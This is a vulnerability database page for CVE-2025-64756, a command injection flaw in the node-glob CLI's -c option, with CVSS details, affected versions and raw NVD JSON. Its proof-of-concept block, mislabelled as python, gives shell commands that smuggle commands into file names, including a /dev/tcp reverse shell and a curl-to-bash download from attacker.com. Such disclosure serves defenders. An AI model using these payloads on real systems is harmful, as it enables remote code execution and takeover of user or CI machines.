Security Vulnerability Report
中文
CVE-2025-64756 CVSS 7.5 HIGH

CVE-2025-64756

Published: 2025-11-17 18:15:58
Last Modified: 2025-12-02 19:34:43

Description

Glob matches files using patterns the shell uses. Starting in version 10.2.0 and prior to versions 10.5.0 and 11.1.0, the glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> are used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. This issue has been patched in versions 10.5.0 and 11.1.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:isaacs:glob:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:isaacs:glob:*:*:*:*:*:node.js:*:* - VULNERABLE
node-glob >= 10.2.0 且 < 10.5.0
node-glob >= 11.0.0 且 < 11.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2025-64756: node-glob command injection # Create a file with malicious name containing shell metacharacters touch '$(whoami)>pwned.txt' # When victim runs: glob -c whoami *.txt # The shell will interpret $(whoami) and execute the command # Result: whoami output is written to pwned.txt # Alternative PoC using backticks: touch '`id`>pwned.txt' # More dangerous example - reverse shell: touch '$(bash -i >& /dev/tcp/attacker/port 0>&1)' # Or using curl to download and execute payload: touch '$(curl http://attacker.com/shell.sh|bash)'

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64756", "sourceIdentifier": "[email protected]", "published": "2025-11-17T18:15:58.270", "lastModified": "2025-12-02T19:34:43.270", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Glob matches files using patterns the shell uses. Starting in version 10.2.0 and prior to versions 10.5.0 and 11.1.0, the glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> are used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. This issue has been patched in versions 10.5.0 and 11.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:isaacs:glob:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "10.2.0", "versionEndExcluding": "10.5.0", "matchCriteriaId": "3C8601DB-5326-473F-8AB9-6F66833AC884"}, {"vulnerable": true, "criteria": "cpe:2.3:a:isaacs:glob:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "11.1.0", "matchCriteriaId": "F7828865-293E-4DB7-AC94-A3C1027E25A1"}]}]}], "references": [{"url": "https://github.com/isaacs/node-glob/commit/1e4e297342a09f2aa0ced87fcd4a70ddc325d75f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/isaacs/node-glob/commit/47473c046b91c67269df7a66eab782a6c2716146", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}